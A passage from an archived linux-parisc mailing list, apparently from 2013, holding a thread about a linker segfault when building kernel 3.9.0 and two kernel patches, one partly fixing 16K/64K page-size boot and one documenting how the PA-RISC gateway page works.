iEYEABECAAYFAlF/8/EACgkQXKSJPmm5/E6f1wCgieOGUhASRloH6NF7YpaUAXJ8
x8EAoJIqeIaiu/l+tPqRD00uY12FJYY9
=kZJt
-----END PGP SIGNATURE-----

--nextPart1526605.uEMsf57ztV--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Error compiling 3.9.0
Date: Wed, 1 May 2013 21:34:54 -0400
Lines: 35
Approved: news@gmane.org
Message-ID: <BLU0-SMTP551CEF6DC18E943F6141C397BD0@phx.gbl>
References: <1742161.3f9jxWykf1@devpool02> <e5606dd2f0529641a897f078e3814e82@sf-mail.de> <517FD922.6060408@bell.net> <1428267.TfdjUgcdcj@eto>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1367458566 27817 80.91.229.3 (2 May 2013 01:36:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 May 2013 01:36:06 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 02 03:35:58 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UXiRB-0004UV-2S
	for glpp-linux-parisc@plane.gmane.org; Thu, 02 May 2013 03:35:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759127Ab3EBBfh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 1 May 2013 21:35:37 -0400
Original-Received: from blu0-omc3-s11.blu0.hotmail.com ([65.55.116.86]:51609 "EHLO
	blu0-omc3-s11.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1759097Ab3EBBfe (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 1 May 2013 21:35:34 -0400
Original-Received: from BLU0-SMTP55 ([65.55.116.72]) by blu0-omc3-s11.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 1 May 2013 18:35:34 -0700
X-EIP: [Gv34pq+urvDcDklDGi5jTE2cpXXAxZGk]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.85.251]) by BLU0-SMTP55.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 1 May 2013 18:35:32 -0700
In-Reply-To: <1428267.TfdjUgcdcj@eto>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 02 May 2013 01:35:32.0873 (UTC) FILETIME=[5636BF90:01CE46D5]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4977
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4977>

On 30-Apr-13, at 12:40 PM, Rolf Eike Beer wrote:

>>> Nope, but probably this:
>>>
>>> *hppa64-unknown-linux-gnu-ld: scripts/link-vmlinux.sh: line 52: 5398
>>> Segmentation fault      ${LD} ${LDFLAGS} ${LDFLAGS_vmlinux} -o  
>>> ${2} -T
>>> ${lds} ${KBUILD_VMLINUX_INIT} --start-group ${KBUILD_VMLINUX_MAIN}
>>> --end-group ${1}
>>
>> No, it's probably a kernel bug.  Is the crash consistent?  If it  
>> isn't,
>> then it's an OS or kernel bug.
>
> I have got the same crash again. This are the first 2 tries I ever  
> made with
> binutils 2.23.1 for 64 bit binaries, so I have nothing to compare to.

I have successfully built 3.9.0 with debian binutils 2.23.2-2, so I  
think the above
issue is specific to your kernel, config, etc.  So, full details are  
needed.  Particularly,
details on how to reproduce the fault are needed.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Error compiling 3.9.0
Date: Thu, 02 May 2013 14:41:40 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <2d7b2933c7dcaa9e8d7650da13a68795@sf-mail.de>
References: <1742161.3f9jxWykf1@devpool02>
 <e5606dd2f0529641a897f078e3814e82@sf-mail.de> <517FD922.6060408@bell.net>
 <1428267.TfdjUgcdcj@eto> <BLU0-SMTP551CEF6DC18E943F6141C397BD0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
 format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1367498504 16877 80.91.229.3 (2 May 2013 12:41:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 May 2013 12:41:44 +0000 (UTC)
To: <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 02 14:41:44 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UXspT-0008Nz-9i
	for glpp-linux-parisc@plane.gmane.org; Thu, 02 May 2013 14:41:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758285Ab3EBMlm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 2 May 2013 08:41:42 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:44904 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756945Ab3EBMlm (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 2 May 2013 08:41:42 -0400
Original-Received: (qmail 13924 invoked from network); 2 May 2013 12:41:40 -0000
Original-Received: from mail.sf-mail.de ([::ffff:62.27.20.61]:35315 HELO webmail.sf-mail.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Thu, 02 May 2013 14:41:40 +0200
In-Reply-To: <BLU0-SMTP551CEF6DC18E943F6141C397BD0@phx.gbl>
X-Sender: eike-kernel@sf-tec.de
User-Agent: Roundcube Webmail/0.8.6
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4978
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4978>

Am 02.05.2013 03:34, schrieb John David Anglin:
> On 30-Apr-13, at 12:40 PM, Rolf Eike Beer wrote:
> 
>>>> Nope, but probably this:
>>>> 
>>>> *hppa64-unknown-linux-gnu-ld: scripts/link-vmlinux.sh: line 52: 
>>>> 5398
>>>> Segmentation fault      ${LD} ${LDFLAGS} ${LDFLAGS_vmlinux} -o  
>>>> ${2} -T
>>>> ${lds} ${KBUILD_VMLINUX_INIT} --start-group ${KBUILD_VMLINUX_MAIN}
>>>> --end-group ${1}
>>> 
>>> No, it's probably a kernel bug.  Is the crash consistent?  If it  
>>> isn't,
>>> then it's an OS or kernel bug.
>> 
>> I have got the same crash again. This are the first 2 tries I ever  
>> made with
>> binutils 2.23.1 for 64 bit binaries, so I have nothing to compare to.
> 
> I have successfully built 3.9.0 with debian binutils 2.23.2-2, so I
> think the above
> issue is specific to your kernel, config, etc.  So, full details are
> needed.  Particularly,
> details on how to reproduce the fault are needed.

It's a plain 3.9.0, the .config was attached to the first mail. I 
always get the same problem at the same place:

   KSYM    .tmp_kallsyms1.o
hppa64-unknown-linux-gnu-ld: scripts/link-vmlinux.sh: line 52: 11674 
Segmentation fault      ${LD} ${LDFLAGS} ${LDFLAGS_vmlinux} -o ${2} -T 
${lds} ${KBUILD_VMLINUX_INIT} --start-group ${KBUILD_VMLINUX_MAIN} 
--end-group ${1}
make: *** [vmlinux] Error 139

Greetings,

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix partly 16/64k PAGE_SIZE boot
Date: Thu, 2 May 2013 22:41:45 +0200
Lines: 274
Approved: news@gmane.org
Message-ID: <20130502204145.GA16053@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1367527322 19122 80.91.229.3 (2 May 2013 20:42:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 May 2013 20:42:02 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 02 22:41:58 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UY0KA-0004Qw-8M
	for glpp-linux-parisc@plane.gmane.org; Thu, 02 May 2013 22:41:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932896Ab3EBUlw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 2 May 2013 16:41:52 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:63305 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932843Ab3EBUlv (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 2 May 2013 16:41:51 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.19]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0MhgAH-1UtfoL0uMV-00Ms3o for
 <linux-parisc@vger.kernel.org>; Thu, 02 May 2013 22:41:50 +0200
Original-Received: (qmail invoked by alias); 02 May 2013 20:41:49 -0000
Original-Received: from p54AD1FF2.dip0.t-ipconnect.de (EHLO p100.box) [84.173.31.242]
  by mail.gmx.net (mp019) with SMTP; 02 May 2013 22:41:49 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/FYNI/kHLFMDLZH/DfJA32GdXqxyUonAzU0GiaEo
	qyuh+0Dlrkz7Mi
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4979
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4979>

This patch fixes partly PAGE_SIZEs of 16K or 64K by adjusting the
assembler PTE lookup code and the assembler TEMPALIAS code.  Furthermore
some data alignments for PAGE_SIZE have been limited to 4K (or less) to
not waste too much memory with greater page sizes. As a side note, the
palo loader can (currently) only handle up to 10 ELF segments which is
fixed with tighter aligning as well.

My testings indicated that the ldci command in the sba iommu coding
needed adjustment by the PAGE_SHIFT value and that the I/O PDIR Page
size was only set to 4K for my machine (C3000).

All this fixes partly the boot, but there are still quite some caching
problems left.  Examples are e.g. the symbios logic driver which is
failing:

sym0: <896> rev 0x7 at pci 0000:00:0f.0 irq 69                                                                                                                          
sym0: PA-RISC Firmware, ID 7, Fast-40, SE, parity checking                                                                                                              
CACHE TEST FAILED: DMA error (dstat=0x81).sym0: CACHE INCORRECTLY CONFIGURED. 

and the tulip network driver which doesn't seem to work correctly
either:

Sending BOOTP requests .net eth0: Setting full-duplex based on MII#1
link partner capability of 05e1                                                                    
..... timed out!   

Beside those kernel fixes glibc will need fixes too to be able to handle
>4K page sizes.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index f33201b..18f7b28 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -400,7 +400,11 @@
 #if PT_NLEVELS == 3
 	extru		\va,31-ASM_PMD_SHIFT,ASM_BITS_PER_PMD,\index
 #else
+# if PAGE_SIZE > 4096
+	extru		\va,31-ASM_PGDIR_SHIFT,32-ASM_PGDIR_SHIFT,\index
+# else
 	extru		\va,31-ASM_PGDIR_SHIFT,ASM_BITS_PER_PGD,\index
+# endif
 #endif
 	dep             %r0,31,PAGE_SHIFT,\pmd  /* clear offset */
 	copy		%r0,\pte
@@ -615,7 +619,7 @@
 
 	.text
 
-	.align	PAGE_SIZE
+	.align 4096
 
 ENTRY(fault_vector_20)
 	/* First vector is invalid (0) */
diff --git a/arch/parisc/kernel/hpmc.S b/arch/parisc/kernel/hpmc.S
index 5595a2f..e158b6f 100644
--- a/arch/parisc/kernel/hpmc.S
+++ b/arch/parisc/kernel/hpmc.S
@@ -55,13 +55,13 @@
 	 * IODC requires 7K byte stack.  That leaves 1K byte for os_hpmc.
 	 */
 
-	.align	PAGE_SIZE
+	.align 4096
 hpmc_stack:
 	.block 16384
 
 #define HPMC_IODC_BUF_SIZE 0x8000
 
-	.align	PAGE_SIZE
+	.align 4096
 hpmc_iodc_buf:
 	.block HPMC_IODC_BUF_SIZE
 
diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index 312b484..5e1de60 100644
--- a/arch/parisc/kernel/pacache.S
+++ b/arch/parisc/kernel/pacache.S
@@ -563,6 +563,15 @@ ENDPROC(copy_page_asm)
  *          %r23 physical page (shifted for tlb insert) of "from" translation
  */
 
+        /* Drop prot bits and convert to page addr for iitlbt and idtlbt */
+        #define PAGE_ADD_SHIFT  (PAGE_SHIFT-12)
+        .macro          convert_phys_for_tlb_insert20  phys
+        extrd,u         \phys, 56-PAGE_ADD_SHIFT, 32-PAGE_ADD_SHIFT, \phys
+#if _PAGE_SIZE_ENCODING_DEFAULT
+        depdi           _PAGE_SIZE_ENCODING_DEFAULT, 63, (63-58), \phys
+#endif
+	.endm
+
 	/*
 	 * We can't do this since copy_user_page is used to bring in
 	 * file data that might have instructions. Since the data would
@@ -589,15 +598,14 @@ ENTRY(copy_user_page_asm)
 	sub		%r25, %r1, %r23
 
 	ldil		L%(TMPALIAS_MAP_START), %r28
-	/* FIXME for different page sizes != 4k */
 #ifdef CONFIG_64BIT
 #if (TMPALIAS_MAP_START >= 0x80000000)
 	depdi		0, 31,32, %r28		/* clear any sign extension */
 #endif
-	extrd,u		%r26,56,32, %r26	/* convert phys addr to tlb insert format */
-	extrd,u		%r23,56,32, %r23	/* convert phys addr to tlb insert format */
+	convert_phys_for_tlb_insert20 %r26	/* convert phys addr to tlb insert format */
+	convert_phys_for_tlb_insert20 %r23	/* convert phys addr to tlb insert format */
 	depd		%r24,63,22, %r28	/* Form aliased virtual address 'to' */
-	depdi		0, 63,12, %r28		/* Clear any offset bits */
+	depdi		0, 63,PAGE_SHIFT, %r28  /* Clear any offset bits */
 	copy		%r28, %r29
 	depdi		1, 41,1, %r29		/* Form aliased virtual address 'from' */
 #else
@@ -747,11 +755,10 @@ ENTRY(clear_user_page_asm)
 #ifdef CONFIG_64BIT
 #if (TMPALIAS_MAP_START >= 0x80000000)
 	depdi		0, 31,32, %r28		/* clear any sign extension */
-	/* FIXME: page size dependend */
 #endif
-	extrd,u		%r26, 56,32, %r26	/* convert phys addr to tlb insert format */
+	convert_phys_for_tlb_insert20 %r26	/* convert phys addr to tlb insert format */
 	depd		%r25, 63,22, %r28	/* Form aliased virtual address 'to' */
-	depdi		0, 63,12, %r28		/* Clear any offset bits */
+	depdi		0, 63,PAGE_SHIFT, %r28	/* Clear any offset bits */
 #else
 	extrw,u		%r26, 24,25, %r26	/* convert phys addr to tlb insert format */
 	depw		%r25, 31,22, %r28	/* Form aliased virtual address 'to' */
@@ -832,11 +839,10 @@ ENTRY(flush_dcache_page_asm)
 #ifdef CONFIG_64BIT
 #if (TMPALIAS_MAP_START >= 0x80000000)
 	depdi		0, 31,32, %r28		/* clear any sign extension */
-	/* FIXME: page size dependend */
 #endif
-	extrd,u		%r26, 56,32, %r26	/* convert phys addr to tlb insert format */
+	convert_phys_for_tlb_insert20 %r26	/* convert phys addr to tlb insert format */
 	depd		%r25, 63,22, %r28	/* Form aliased virtual address 'to' */
-	depdi		0, 63,12, %r28		/* Clear any offset bits */
+	depdi		0, 63,PAGE_SHIFT, %r28	/* Clear any offset bits */
 #else
 	extrw,u		%r26, 24,25, %r26	/* convert phys addr to tlb insert format */
 	depw		%r25, 31,22, %r28	/* Form aliased virtual address 'to' */
@@ -909,11 +915,10 @@ ENTRY(flush_icache_page_asm)
 #ifdef CONFIG_64BIT
 #if (TMPALIAS_MAP_START >= 0x80000000)
 	depdi		0, 31,32, %r28		/* clear any sign extension */
-	/* FIXME: page size dependend */
 #endif
-	extrd,u		%r26, 56,32, %r26	/* convert phys addr to tlb insert format */
+	convert_phys_for_tlb_insert20 %r26	/* convert phys addr to tlb insert format */
 	depd		%r25, 63,22, %r28	/* Form aliased virtual address 'to' */
-	depdi		0, 63,12, %r28		/* Clear any offset bits */
+	depdi		0, 63,PAGE_SHIFT, %r28  /* Clear any offset bits */
 #else
 	extrw,u		%r26, 24,25, %r26	/* convert phys addr to tlb insert format */
 	depw		%r25, 31,22, %r28	/* Form aliased virtual address 'to' */
@@ -959,7 +964,7 @@ ENTRY(flush_icache_page_asm)
 	fic,m		%r1(%sr4,%r28)
 	fic,m		%r1(%sr4,%r28)
 	fic,m		%r1(%sr4,%r28)
-	cmpb,COND(<<)		%r28, %r25,1b
+	cmpb,COND(<<)	%r28, %r25,1b
 	fic,m		%r1(%sr4,%r28)
 
 	sync
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index a3328c2..76b63e7 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -129,6 +129,8 @@ void __init setup_arch(char **cmdline_p)
 	printk(KERN_INFO "The 32-bit Kernel has started...\n");
 #endif
 
+	printk(KERN_INFO "Default page size is %dKB.\n", (int)(PAGE_SIZE / 1024));
+
 	pdc_console_init();
 
 #ifdef CONFIG_64BIT
diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index 5e05524..b27f4aa 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -15,6 +15,7 @@
 #include <asm/thread_info.h>
 #include <asm/assembly.h>
 #include <asm/processor.h>
+#include <asm/cache.h>
 
 #include <linux/linkage.h>
 
@@ -643,7 +644,7 @@ ENTRY(end_linux_gateway_page)
 
 	.section .rodata,"a"
 
-	.align PAGE_SIZE
+	.align 8
 	/* Light-weight-syscall table */
 	/* Start of lws table. */
 ENTRY(lws_table)
@@ -652,13 +653,13 @@ ENTRY(lws_table)
 END(lws_table)
 	/* End of lws table */
 
-	.align PAGE_SIZE
+	.align 8
 ENTRY(sys_call_table)
 #include "syscall_table.S"
 END(sys_call_table)
 
 #ifdef CONFIG_64BIT
-	.align PAGE_SIZE
+	.align 8
 ENTRY(sys_call_table64)
 #define SYSCALL_TABLE_64BIT
 #include "syscall_table.S"
@@ -674,7 +675,7 @@ END(sys_call_table64)
 		with ldcw.
 	*/
 	.section .data
-	.align	PAGE_SIZE
+	.align	L1_CACHE_BYTES
 ENTRY(lws_lock_start)
 	/* lws locks */
 	.rept 16
diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index 42cfcd9..1ff1b67 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -575,7 +575,7 @@ sba_io_pdir_entry(u64 *pdir_ptr, space_t sid, unsigned long vba,
 
 	mtsp(sid,1);
 	asm("lci 0(%%sr1, %1), %0" : "=r" (ci) : "r" (vba));
-	pa |= (ci >> 12) & 0xff;  /* move CI (8 bits) into lowest byte */
+	pa |= (ci >> PAGE_SHIFT) & 0xff;  /* move CI (8 bits) into lowest byte */
 
 	pa |= SBA_PDIR_VALID_BIT;	/* set "valid" bit */
 	*pdir_ptr = cpu_to_le64(pa);	/* swap and store into I/O Pdir */
@@ -1376,7 +1376,7 @@ static void
 sba_ioc_init(struct parisc_device *sba, struct ioc *ioc, int ioc_num)
 {
 	u32 iova_space_size, iova_space_mask;
-	unsigned int pdir_size, iov_order;
+	unsigned int pdir_size, iov_order, tcnfg;
 
 	/*
 	** Determine IOVA Space size from memory size.
@@ -1468,8 +1468,19 @@ sba_ioc_init(struct parisc_device *sba, struct ioc *ioc, int ioc_num)
 	WRITE_REG(ioc->ibase | 1, ioc->ioc_hpa+IOC_IBASE);
 	WRITE_REG(ioc->imask, ioc->ioc_hpa+IOC_IMASK);
 
-	/* Set I/O PDIR Page size to 4K */
-	WRITE_REG(0, ioc->ioc_hpa+IOC_TCNFG);
+	/* Set I/O PDIR Page size to system page size */
+	switch (PAGE_SHIFT) {
+		case 12: tcnfg = 0; break;	/*  4K */
+		case 13: tcnfg = 1; break;	/*  8K */
+		case 14: tcnfg = 2; break;	/* 16K */
+		case 16: tcnfg = 3; break;	/* 64K */
+		default:
+			panic(__FILE__ "Unsupported system page size %d",
+				1 << PAGE_SHIFT);
+			break;
+	}
+	/* Set I/O PDIR Page size to PAGE_SIZE (4k/16k/...) */
+	WRITE_REG(tcnfg, ioc->ioc_hpa+IOC_TCNFG);
 
 	/*
 	** Clear I/O TLB of any possible entries.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: document the parisc gateway page
Date: Thu, 2 May 2013 23:16:38 +0200
Lines: 56
Approved: news@gmane.org
Message-ID: <20130502211638.GA28415@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1367529404 8711 80.91.229.3 (2 May 2013 21:16:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 May 2013 21:16:44 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 02 23:16:44 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UY0rr-0002s1-IJ
	for glpp-linux-parisc@plane.gmane.org; Thu, 02 May 2013 23:16:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760544Ab3EBVQm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 2 May 2013 17:16:42 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:58799 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1759342Ab3EBVQm (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 2 May 2013 17:16:42 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.24]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0M68YO-1UMFL02eLq-00y7No for
 <linux-parisc@vger.kernel.org>; Thu, 02 May 2013 23:16:40 +0200
Original-Received: (qmail invoked by alias); 02 May 2013 21:16:40 -0000
Original-Received: from p54AD1FF2.dip0.t-ipconnect.de (EHLO p100.box) [84.173.31.242]
  by mail.gmx.net (mp024) with SMTP; 02 May 2013 23:16:40 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/J7wos98zJs4uuDRZpeUYekNdrz2Ne8hC7qdFF1e
	cLHY2bIhdaQIyg
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4980
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4980>

Include some documentation about how the parisc gateway page technically
works and how it is used from userspace.

James Bottomley is the original author of this description and it was
copied here out of an email thread from Apr 12 2013 titled:
man2 : syscall.2 : document syscall calling conventions

CC: James Bottomley <James.Bottomley@HansenPartnership.com>
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index 5e05524..546770a 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -1,12 +1,35 @@
 /* 
  * Linux/PA-RISC Project (http://www.parisc-linux.org/)
  * 
- * System call entry code Copyright (c) Matthew Wilcox 1999 <willy@bofh.ai>
+ * System call entry code / Linux gateway page
+ * Copyright (c) Matthew Wilcox 1999 <willy@bofh.ai>
  * Licensed under the GNU GPL.
  * thanks to Philipp Rumpf, Mike Shaver and various others
  * sorry about the wall, puffin..
  */
 
+/*
+How does the Linux gateway page on PA-RISC work?
+------------------------------------------------
+The Linux gateway page on PA-RISC is "special".
+It actually has PAGE_GATEWAY bits set (this is linux terminology; in parisc
+terminology it's Execute, promote to PL0) in the page map.  So anything
+executing on this page executes with kernel level privilege (there's more to it
+than that: to have this happen, you also have to use a branch with a ,gate
+completer to activate the privilege promotion).  The upshot is that everything
+that runs on the gateway page runs at kernel privilege but with the current
+user process address space (although you have access to kernel space via %sr2).
+For the 0x100 syscall entry, we redo the space registers to point to the kernel
+address space (preserving the user address space in %sr3), move to wide mode if
+required, save the user registers and branch into the kernel syscall entry
+point.  For all the other functions, we execute at kernel privilege but don't
+flip address spaces. The basic upshot of this is that these code snippets are
+executed atomically (because the kernel can't be pre-empted) and they may
+perform architecturally forbidden (to PL3) operations (like setting control
+registers).
+*/
+
+
 #include <asm/asm-offsets.h>
 #include <asm/unistd.h>
 #include <asm/errno.h>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Error compiling 3.9.0
Date: Fri, 03 May 2013 15:06:12 -0400
Lines: 55
Approved: news@gmane.org
Message-ID: <51840AA4.6010006@bell.net>
References: <1742161.3f9jxWykf1@devpool02> <e5606dd2f0529641a897f078e3814e82@sf-mail.de> <517FD922.6060408@bell.net> <1428267.TfdjUgcdcj@eto> <BLU0-SMTP551CEF6DC18E943F6141C397BD0@phx.gbl> <2d7b2933c7dcaa9e8d7650da13a68795@sf-mail.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1367608016 11671 80.91.229.3 (3 May 2013 19:06:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 May 2013 19:06:56 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 03 21:06:56 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UYLJn-0006P8-B7
	for glpp-linux-parisc@plane.gmane.org; Fri, 03 May 2013 21:06:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
